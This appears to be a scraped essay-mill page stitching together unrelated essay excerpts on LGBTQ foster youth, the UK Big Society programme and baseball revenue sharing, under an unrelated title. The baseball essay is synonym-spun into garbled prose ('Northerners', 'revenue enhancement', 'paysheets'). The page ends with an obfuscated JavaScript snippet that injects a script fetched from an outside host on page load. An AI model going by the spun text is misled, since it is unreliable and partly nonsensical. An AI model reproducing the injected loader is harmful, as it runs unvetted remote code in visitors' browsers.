5 Classic Novels Everyone Should Read

Injustices Of Lgbtq People Within The Foster System

Injustices of LGBTQ People within the Foster System Placements in wards, group homes, or private homes of a state certified caregiver known as a â€Å"foster parent†, emergency shelters, residential facilities, and homes of relatives are typical substitute parental figures for children whose parents or guardians are unable to care for the them. This system is known as the Foster Care system. The foster care system began as a system put in place as a safe haven for children experiencing maltreatment in their homes. The goal of this system was to place children in other homes temporarily while parents did what they needed to do to receive their parental custody back. This has not changed much but since the admission of many children, the system†¦show more content†¦When a foster youth speaks about his or her experience, they open the eyes of many people who otherwise would not know what is happening to the children in the system. More importantly, how LGBTQ children are being treated. These results are meant to spark an interest in their audience and give way to even more in-depth study of the experiences of LGBTQ youth. The information is not just for those in education but it very important for them. There must be methods of intervention and procedures to prevent negative outcomes when a child does decide to confine in his parents about his/her sexuality. There have been studies done in order to identify the adolscents who idenfiy as LGBTQ. One example of a specific study conducted was by Casey Field Office Mental Health (CFOMH). This organization set out with a few questions for a group of foster youth. The study interviewed 188 adolescents ages 14 to 17 who were receiving foster care services from Casey Family Programs in 2006. About 10 children of the group of 188 youths identified as LGBQ. This study includes both the experiences of the LGBTQ youth groups as well as their non-LGBTQ counterparts. The results of this study concluded that out of the 10 student s who identify as LGBTQ all felt as though they were not being given the help they needed. They felt marginalized. Another more recent study, the Los Angeles Foster Youth Study (LAFYS), was also conducted by the Los Angeles

The Big Society A Realistic Objective or a Political Myth Free Essays

string(31) " the new coalition government\." Chapter 1 Introduction Socio-political background The connection between civil society and the state reflects the changing nature of the public – private interaction and poses questions about the role of government in advanced capitalist societies. The constantly changing dynamics of the public-private coexistence is a direct response to the processes of globalization and modernization, which have placed the state in an entirely different realm, and have challenged its parameters as a political entity. On the international level, what Samuel Huntington called â€Å"the third wave of democratization† (1991) has seen the globalization of world politics, and according to some, the undermined capacity of the state (Cerny, 1990; Scholte, 2006; Rosenau 1990). We will write a custom essay sample on The Big Society: A Realistic Objective or a Political Myth? or any similar topic only for you Order Now The third wave of democratization in the world has also been marked by the rise of the global civil society and the increasing power of non-governmental organizations and associations (Bull, 1977). On the domestic level, a similar process can be traced. Throughout the last several decades, the traditional political ubiquity of the state has been challenged, with the rise of civil society and associational democracy (Baccaro, 2002). The state no longer exists in its exhausted and narrow confinement as a ‘provider’ of public services. Its functions, theorists like Baccaro argue, have been divulged to the local communities and voluntary associations, which have become the new pillar not only of public opinion, but also for public advocacy in legislature. Civil society challenges the modern state to some extent, but its functions do not aim to undermine its capabilities. As this dissertation will argue, they seek to reinforce them. 1.2 Research aims This dissertation will examine the feasibility and sustainability of the Big Society Project as a model of political governance. In order to do this, the author will focus on the connection between the private and the public in the contemporary state, and will assess the resuscitating power of civil society in the public sector. It will illustrate the theoretical connection between the two through the critical analysis of a rather contemporary juxtaposition between civil society and the state, proposed by the Conservative Party in 2010. Specific aspects will cover the shift of state powers from the public to the private realm. 1.3 Historical trends before the Big Society Although the Big Society was represented as a strategy by the Conservative Party, its ideological tenets can be found in earlier observations, related to the rise of an independent civil state and community participation. Attempts to accommodate civil society and the state in the same political equation have started at the turn of the last century, with a deep reconsideration of the main characteristics of advanced capitalist societies and the role of the state. A leading Marxist theorist, Antonio Gramsci proposes a classic division between the state and non-state elements of governance in his Selections from the Prison Notebooks (1971). He views civil society as an organic entity, which exists beyond the realm of the government. The controversy in his theoretical model of governance comes from the exaggerated view that the civil society can exist as a self-regulatory body in a stateless world. A more moderate view on the connection between civil society and the state is proposed by sociologist Max Weber. In his Politics of the Civil Society Weber discusses the idea of public citizenship and its role in mass democracy. He discusses civil society not as an alternative, but as a cultivating force, neces sary for the existence of the modern state (Weber, 2004). The Weberian approach to understanding civil society suggests that the connection between the public and private is not necessarily exclusionary, as suggested by the Marxists. In his 1962 Capitalism and Political Freedom, economist Milton Friedman discusses economic neo-liberalism as an important prerequisite for political freedom of the citizens. He emphasizes the central role of the government as a provider of legislature, which would enforce property rights and civil institutions. Friedman’s economic philosophy of government intervention suggests a model of public-private form of governance. In an extensive study on social movements called Beyond Left and Right, Anthony Giddens goes even further and suggests that social movements are stronger advocates for change than political parties are (Giddens, 1994). Last but not least, in his Bowling Alone: America’s Declining Social Capital (1995) Robert Putnam uses the decline of voluntary associations and civic engagement to explain the social decay of the American community. As symptoms of social apathy, he points out the political disengagement of the American public and its growing distrust to the government (Putnam, 1995). The ideological tenet of the Big Society can also be related to what Lucio Baccaro calls associational democracy (2002). He describes associational democracy as the intersection between civil society and the state. Baccaro’s vision of decentralization and empowerment of the local communities can be used to fit the Big Society into a wider theoretical realm. Baccaro offers a model of public-private governance, which reveals elements of societal conservatism behind the Big Society’s main goal – the shift of regulatory powers from the government bureaucrats into the hands of the people. It is not difficult to notice a historical trend on the changing divisions between civil society and the state. Last several decades have witnessed a major shift towards empowerment of the private sector, and transfer of powers and regulatory functions in the hands civil society organizations. This trend does not necessarily mean however that the state as a provider of services and individual well-being is in decline. On the contrary, this historic tendency suggests that civil society is a pillar, not a threat to the state and can act as a channel for reform in the public sector. The next section will examine its contemporary manifestations as a policy, proposed by David Cameron and the Conservative Party in 2010. 1.4. What is the Big Society In July 2010 in Liverpool, after the general elections, David Cameron re-launched the Big Society Programme, which was to become part of the political platform of the new coalition government. You read "The Big Society: A Realistic Objective or a Political Myth?" in category "Essay examples" The programme had five main tenets: localism and more power for the communities; volunteerism; transfer of power from central to local government; support of cooperatives, charities, and social enterprises; transparency of government legislation (Cameron, 2010). Under the Big Society programme, initiatives such as the Big Society Bank and the National Citizen Service (NCS) were established. The idea behind the Big Society is to attribute more responsibilities to the citizens as key participants in the policy-making process. According to David Cameron, its main purpose was to propose a ground up approach of governance, where power and ideas will derive from the people (Cameron, 2010). The Conservative Party proposed the Big Society Project as the engine of public sector reform. The government indicated that the Big Society would empower local communities in their attempts to solve problems in their own neighborhood, and to voice their opinions. 1.4.1 Ideology The ideology behind the Big Society is an unconventional type of conservatism. It views successful governance as a hybrid between the private and the public sectors, and citizens’ initiative as a prerequisite for associational democracy. The idea behind the Big Society is very often confused with classic Marxism, which offers an extreme and rather utopian view of civic associations as a necessary replacement of the state. The rise of a big society however, does not imply the demise of the state. The Big Society can be interpreted as a politically sensible response to the economic recession, poverty, and social breakdown. It has lead to Cameron’s recognition of the role of the public sector and volunteerism as antidotes of a disintegrating society (Bochel Defty, 2010; Evans, 2011; Smith, 2010). The ideas of the Big Society diverge from the stance of some of David Cameron’s predecessors such as Margaret Thatcher, because it recognizes the role of non-state associa tions as advocates for political change and providers for the citizens. At the same time, it does not use the societal factor as an umbrella for a smaller government (Norman, 2011; Smith, 2010). Therefore, the ideology behind the Big Society can be described as societal conservatism. Societal should not be confused with social (or socialist), because the Big Society project does not exclude privatization within the welfare sector and public sector cuts. 1.4.2 Responses The Big Society project has provoked mixed responses. Its supporters claim that the idea to unite the public and the private sector as providers for the citizens is revolutionary and democratically advanced. Liberals tend to view this idea as innovative, because it emphasizes the role of the citizens in shaping modern day policy. The main criticisms of the Big Society are that is has been used to justify the radical budget cuts in the public and social sectors, and is too utopian to be implemented in practice. A popular criticism points to the lack of citizens’ incentive and appropriate skills, which are prerequisites for a fulfilling civic participation (Grint Holt, 2011; Hasan, 2010). 1.4.3 Local empowerment and decentralization Localism and decentralization have been key tenets on the Big society agenda. Some of the proposals, designed to empower local authorities and citizens include introducing directly elected mayors and police commissioners; devolving the financial powers of local government; increasing transparency and letting local citizens choose the organisational structure of their local council (Inside Government, 2011). The ideology behind local empowerment and decentralization is akin to the neo-liberal political thought. The transformation of local empowerment into an actual policy came to life in March 2011, when the Localism Bill was passed by the House of Commons despite controversies over social housing (Hodge, 2011). Some of the prescriptions of the Localism Bill have already been put into practice. Ministers have started giving councils greater financial freedom, by devolving ?7 billion more of government funding. They have removed burdens and bureaucratic controls so that they local governments can prioritize budgets to support public services in ways, which meet the priorities of local people and communities (Communities Local Government, 2011). This is one way to enhance reform in the public sector, as it will give more incentive for local governments to improve their services, and they will be transformed from recipients of policy, into actual initiators of one. 1.4.4 Volunteerism Another important tenet of the Big Society Project is the idea of volunteerism and civic associations. The new government has encouraged voluntary organizations and social enterprises, as another way to reform the public sector. Two of the key programmes, related to Big Society volunteerism are the National Citizens Service (NCS) and Community Organizers. These two programmes target thousands of volunteers of all age groups and different social backgrounds nationwide, and their participation in community projects in 2011 and 2012 (Cabinet Office, 2011). The ideology behind volunterrism relates to associational democracy, which holds that democratization does not necessarily come from the state, but also from the citizenry, with its accumulated incentives and skills. As far as policy is concerned, both NCS and Community Organizers already exist as programmes. Whether efficacy has been achieved will be discussed in detail in the following chapters. In general, the Big Society is an opportunity for citizens to participate in the actual process of policy-making and to provide first-hand feedback to those responsible for legislation. The most important component of the Big Society is the financial autonomy of the local councils, because it will play important part in the allocation of budgets. Local councils know the needs of their residents better than the national government (Smith, 2010; Norman, 2011). Their financial plans will be much more realistic and sustainable, targeting the public sectors policies, which have the biggest demand and have been starved for resources in the past. Financial decentralization can bring not only better quality of public sector services, but also more realistic response to the actual needs of the local residents. 1.5 Summary This chapter has traced the historical and policy features of the idea of the Big Society, and has examined some of its basic tenets. The remaining chapters will examine in detail the feasibility of the Big Society as a form of political governance, which can make local communities more involved in the policy-making process. Bibliography: Baccaro, L. (2002) â€Å"Civil Society Meets the State: A Model of Associational Democracy†. International Labour Office Working Paper No. DP/138/2002. Available at SSRN: http://ssrn.com/abstract=334860 or doi:10.2139/ssrn.334860 Retrieved 05.03.2012 Bochel, H. Defty, A. (2010) â€Å"Safe as HouseConservative Social Policy, Public Opinion and Parliament†, The Political Quarterly, Vol 81, No 1, January-March Bull, H. (1977). The Anarchical Society: A Study of Order in World Politics. Basingstoke: Palgrave Macmillian Cabinet Office (2010) â€Å"Government Launches Big Society Programme†, 18 May, Available at: http://www.cabinetoffice.gov.uk/news/government-launches-big-society-programme Retrieved 05.03.2012 ___________ (2010) â€Å"Government Puts Big Society at the Heart of Public Sector Reform†, 18 May Available at: http://www.cabinetoffice.gov.uk/news/big-society-heart-public-sector-reform Retrieved 05.03.2012 ___________ (2010) â€Å"Building the Big Society†, Available at: http://www.cabinetoffice.gov.uk/sites/default/files/resources/building-big-society.pdf Retrieved 05.03.2012 Cameron, D. (2010) â€Å"Big Society Speech†, Monday, 19 July Available at: http://www.number10.gov.uk/news/speeches-and-transcripts/2010/07/big-society-speech-53572 Retrieved 05.03.2012 Cerny, P.G. (1990). The Changing Architecture of Politics: Structure, Agency and the Future of the State, London Communities and Local Government (2011) â€Å"The Localism Bill marks a turning point†, 7 June, Available at: http://www.communities.gov.uk/news/corporate/1917316 Retrieved 05.03.2012 Della Porta, D. Diani, M. (2006). Social Movements: An Introduction. Blackwell Publishing Ltd, UK. p. 93-113 Evans, K. (2011) â€Å"Big Society in the UK: A Policy Review†, Vol 25, Issue 2, pp. 164-171, March Friedman, M. (1962) â€Å"The Relation between Economic Freedom and Political Freedom,† Capitalism and Freedom. University of Chicago Press, pp. 7-17 Available at: http://www.mtholyoke.edu/acad/intrel/ipe/friedman.htm Retrieved 05.03.2012 Giddens, A. (1994) Beyond Left and Right. The Future of Radical Politics, Stanford University Press Gramsci, A. (1971) Selections from the Prison Notebooks, Lawrence and Wishart Grint, K. Holt, C. (2011) â€Å"Leading Questions: If ‘Total Place’, ‘Big Society’ and local leadership are the answers: What’s the question?†, Leadership, 7 (I) 85-98 Hasan, M. (2010) â€Å"The Sham of Cameron’s Big Society†, New Statesman, 22 November Hodge, K. (2011) â€Å"Localism bill passed, advice for the elderly and regeneration cash†, Housing Network Blog, Guardian, 19 May Available at: http://www.guardian.co.uk/housing-network/2011/may/19/localism-bill-advice-elderly-regeneration-cash Retrieved 05.03.2012 Huntington, S. P. (1991) Democracy’s Third Wave. The Journal of Democracy, 2(2) Inside Government (2011) â€Å"Big Society 2011: Empowering Communities, Encouraging Social Action and Opening Up Public Services†, 31 March Available at: http://www.insidegovernment.co.uk/economic_dev/big-society-2011/ Retrieved 05.03.2012 Marquand, D. (2004) The Decline of the Public: Hollowing Out Citizenship, Polity Press, Cambridge Norman, J. (2011) The Anatomy of the New Politics Buckingham: University of Buckingham Press Putnam, R. (1995). â€Å"Bowling Alone. America’s Declining Social Capital† Journal of Democracy 6, 65-78 Available at: http://canonsociaalwerk.be/1995_Putnam/1995,%20Putnam,%20bowling%20alone.pdf Rosenau, J.N. (1990) Turbulence in World Politics: A Theory and Continuity, London Scholte, J.A.(2006). Globalization a Critical Introduction. Palgrave Macmilian, UK. p. 13-123 Smith, M. (2010) â€Å"From Big Government to Big Society: Changing the State–Society Balance†, Parliamentary Affairs, Vol. 63, Issue 4, pp. 818-833 Weber, M. (2004) Politics of the Civil Society, Cambridge: Cambridge University Press How to cite The Big Society: A Realistic Objective or a Political Myth?, Essay examples

Baseball Revenue Sharing Essay Research Paper Sports free essay sample

Baseball Revenue Sharing Essay, Research Paper Sports Business A ; Entertainment Tom Gannaway Restructuring Baseball As the seasons advancement in major conference baseball, the economic construction of baseball is enduring from legion jobs, which are presently leting for the competitory balance to be less than ideal. Baseball is faced with jobs amongst the grosss, which there squads are having. This disparity in grosss is doing some squads to non be able to subscribe participants that they need to vie: whereas, squads like the Northerners, and Braves can travel out and subscribe fundamentally whomever they want, and have paysheets, which are exceling 100 million for a season. What I propose to make, in order to work out the jobs with baseball is to revamp the current Luxury Tax system, come up with a lower limit and maximal salary degree, and develop a gross sharing plan, which will assist the lesser squads out. I feel that these alterations will let for baseball to be more competitory every season, and would let some little market squads non to travel. Baseball is in demand of Restructuring due to the current disparity amongst all the squads in footings of grosss. When sing any possible alterations in the baseball construction, you must see them from three different positions. Owners of Major League Baseball squads have argued that restrictive patterns are needed to guarantee competitory balance. Without limitations, proprietors argue that big market squads will merely outbid for all the available endowment and leave the little market squads, with the less gifted participants. But the job with this is that why would the proprietors in the large markets like Ted Turner, and Rupert Murdoch, who spent tremendous amounts of money to purchase their squads in the major markets why would they of all time agree to leting the little market squads to vie for free agents with them. The major conference participants want a free market, where they can acquire the most money possible. The other group, which needs to be considered in any type of proposal, is the fans. The fans want their squad to hold a opportunity of doing the playoffs, without holding to h old a immense paysheet. In major conference baseball today, the current job is the laterality, which teams that have the largest paysheets have over those who do non. In 1999, the eight squads that made the playoffs: the New York Yankees, Texas Rangers, Atlanta Braves, Cleveland Indians, Boston Red Sox, New York Mets, Arizona Diamondbacks and Houston Astros all ranked in the top 10 in paysheet ( Cohn 1. ) In contrast to this, the squads with the four worst records the Kansas City Royals, Minnesota Twins, Montreal Expos, and Florida Marlins, had the four lowest paysheets ( Demmert 36. ) In most instances holding a big paysheet will guarantee you of doing the playoffs every twelvemonth, the exclusions being the Baltimore Orioles and the Los Angeles Dodgers. Harmonizing to the General Manager of the Florida Marlins Dave Dombrowski, Payroll does non needfully compare with winning, but you have to hold the dollars so that you can win. ( Rascher 31. ) The job here is that there is a deficiency of turnover from tw elvemonth to twelvemonth among the squads with the highest gross and of those squads ; they are capturing an progressively larger portion of the market. But in baseball, no squad can be successful unless its rivals besides survive and prosper sufficiently so that the difference in the quality of drama among squads are non excessively great ( Rottenberg 254. ) Proposed Solutions Luxury Tax The beginnings of the luxury revenue enhancement started after the work stoppage in 1994, the proprietors and the participants settled on a new corporate bargaining understanding in 1996. The primary issue in this understanding was that of a Luxury Tax. The footing of this revenue enhancement was to revenue enhancement paysheets of big market squads with the financess being redistributed to little market squads. This luxury revenue enhancement thought took consequence in 1997 season and has continued since so. In 1997, squads with paysheets over $ 51 million were taxed 30 five per centum of the sum, which they were over. In 1998, the paysheet sum was increased to $ 55 million. In 1999, it increased to $ 58.9 million with a 30 four per centum revenue enhancement ( Schmuck 2. ) The job with the luxury revenue enhancement is that the sum of money, which it is supplying with the squads, is non all that much, and it is non needfully being used to set a better squad on the field. I think t hat the current thought of a luxury revenue enhancement is something that could be successfully if revamped. This luxury revenue enhancement needs to be at a salary degree low plenty, and a revenue enhancement per centum at a high adequate degree so that the big market squads will be significantly impacted. While the luxury revenue enhancement of 1996 did redistribute some financess, the existent sum that was exchanged was unequal for any important alteration in gross to happen. As a affair of fact, the difference in paysheets from top to bottom has increased. In 1996, the New York Yankees had the highest paysheet at $ 50.5 million and the Pittsburgh Pirates had the lowest paysheet at $ 16.7 million a difference of $ 33.8 million. In 1999, with the revenue enhancement in being for its 3rd twelvemonth, the Northerners one time once more had the highest paysheet at $ 91.9 million while the squad with the smallest paysheet the Florida Marlins was at $ 14.6 million, a difference of $ 77 .3 million, by the 2000 season the difference grew even greater. The Yankees one time once more were the highest in paysheet at $ 114 million, whereas the Twins were the lowest at $ 24 million a difference of $ 90 million dollars. ( Newhan ) As these Numberss show, this Luxury Tax, which was implemented in 1996, has truly non done much good. In fact it has separated the squads in paysheet even more so than it likely was intended to make. Salary Cap gt ; What I think would work good for Major League Baseball would be to develop a lower limit and a maximal wage for which squads can non travel under or over. The manner, which this lower limit and upper limit should be derived is through how the NBA does it, the cap will be based on a per centum of conference grosss, and so a figure will be assigned based on that figure. One of the most celebrated broadcasters Bob Costas said the aim of a salary cap is to heighten the competitory balance and stabilise the game s economic sciences. What it does wages is an of import but secondary concerns. ( Costas 92 ) The lone major drawback with puting a salary cap is that the little market squads are traveling to desire to pass the lower limit sum of money necessary for endurance in the game. It is for this really ground why Major League Baseball ( MLB ) must deduce a minimal wage for all the squads like the Twins, Expos and Royals so that the money they receive from gross sharing goes to seting a be tter merchandise on the diamond. The figure, which I feel would be appropriate for bettering the competitory balance, is the game is puting the minimal paysheet at $ 35 million and puting the Maximum paysheet at $ 100 million. You could suggest that unless the squad met the minimal paysheet, so they would lose their franchise. Gross Sharing The cardinal constituent in the restructuring of baseball is to increase the sum of gross that each squad sing squad receives from the gate split and other public presentation inducements. The job lies in the fact that the per centums are non even the same throughout, the two conferences ( American and National Leagues. ) Presently, in the American League the place squad keeps 80 per centum while the sing squad gets 20 per centum. In the National League, the place team-visiting squad split is 95 per centum place squad, 5 per centum sing squad. Along with the gate split, the sharing of local media grosss, which presently are non shared at all and these are the largest beginning of inequality amongst all the squads. What I think demands to be done is to hold the Home squad acquire 75 % of the gross, where the off squad receives 25 % . Presently all squads pay a 20 per centum gross revenue enhancement into a cardinal fund, with all squads pulling money out on a graduated table that pays the eight lowest gross nines, the most money. Under this current gross sharing system, the New York Yankees paid $ 23 million in gross sharing last twelvemonth, and the Minnesota Twins received $ 22 million ( Stark 3 ) what is so messed up with the current system is the fact that a squad like the Texas Rangers, who merely signed Alex Rodriguez for $ 252 Million is having financess under the current system. What I think should be done about this is to set the revenue enhancement rate to 35 % of your grosss, and have it so that merely the lowest gross nines get anything from this fund. What most people feel the benefit of a comprehensive gross sharing agreement among all the squads involved in baseball would be is the little market squads will have extra grosss and will so be able to afford better participants, which would increase their victorious per centum, and heighten the competitory balance in the game. Presently, in professional athleticss Major League Baseball s gross sharing understanding would be considered slightly in-between of the route. The NBA being the least balanced, with the place squads non sharing gate grosss with the sing squad, and the NFL being the most balanced, with a 60-40 place visitant split. A move to a gross sharing system like the NFL s is critical to guarantee the hereafter of the game of baseball. Revenue sharing coupled with a salary cap ( min and soap, ) would assist little market squads avoid holding to perchance shutdown or relocate ( Minnesota, Montreal ) and perchance let them to be among the elect squads one time once more. Major League Baseball is at a point where they can non afford another work arrest like they had in 1994. If the spread between the have s and the have-nots continues to turn, the athletics of baseball may be in danger of going less popular of a athletics than it is now. What I feel baseball should make in an effort to rejuvenate the competitory nature of the game is revamp the current luxury revenue enhancement system so that the squads that go over a certain salary degree pay a revenue enhancement on that figure. The donees of this revenue enhancement will be those squads, which are in the bottom 8 in gross in the conference. My following manner to work out the jobs was the thought of puting a lower limit, and a maximal wage. The minimal paysheet at $ 35 million, and the upper limit at $ 100 million. My luxury revenue enhancement would get down above $ 75 million. And the concluding manner, I mentioned to repair the jobs in baseball was to alter the gross sharing, so that in both le agues the place squad receives 75 % of the financess, versus 25 % for the visitants. Plants Cited Cohn, Bob. Baseball s Great Divide: Money affairs most when dividing winning squads from losing 1s. The Washington Times 20 Feb. 2000, A1. Costas, Bob. Fair Ball: A Fans Case For Baseball. New York: Broadway Books, 2000. Demmert, H.G. The Economics of Professional Team Sports. Lexington-Health. 1973. Newhan, Ross. Baseball: Pay Dir. Los Angeles Times. 10 Nov 1999: D. Rascher, Daniel. A Model of A Professional Sports League. Hendricks, Wallace. Progresss In The Economicss Of Sport. V 2. Greenwich Ct. : Jai Press, 1997. Rottenberg, Simon. The Baseball Player s Labor Market. Journal of Political Economy June 1956: 242-258. Schmuck, Peter. Finally Baseball at Piece. The Florida Times. November 27, 1996. D1. Stark, Jason. Rumbles and Grumblings. Accessed at hypertext transfer protocol: //www.espn.go.com/mlb/columns/stark_jayson/996246.html. 338 ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;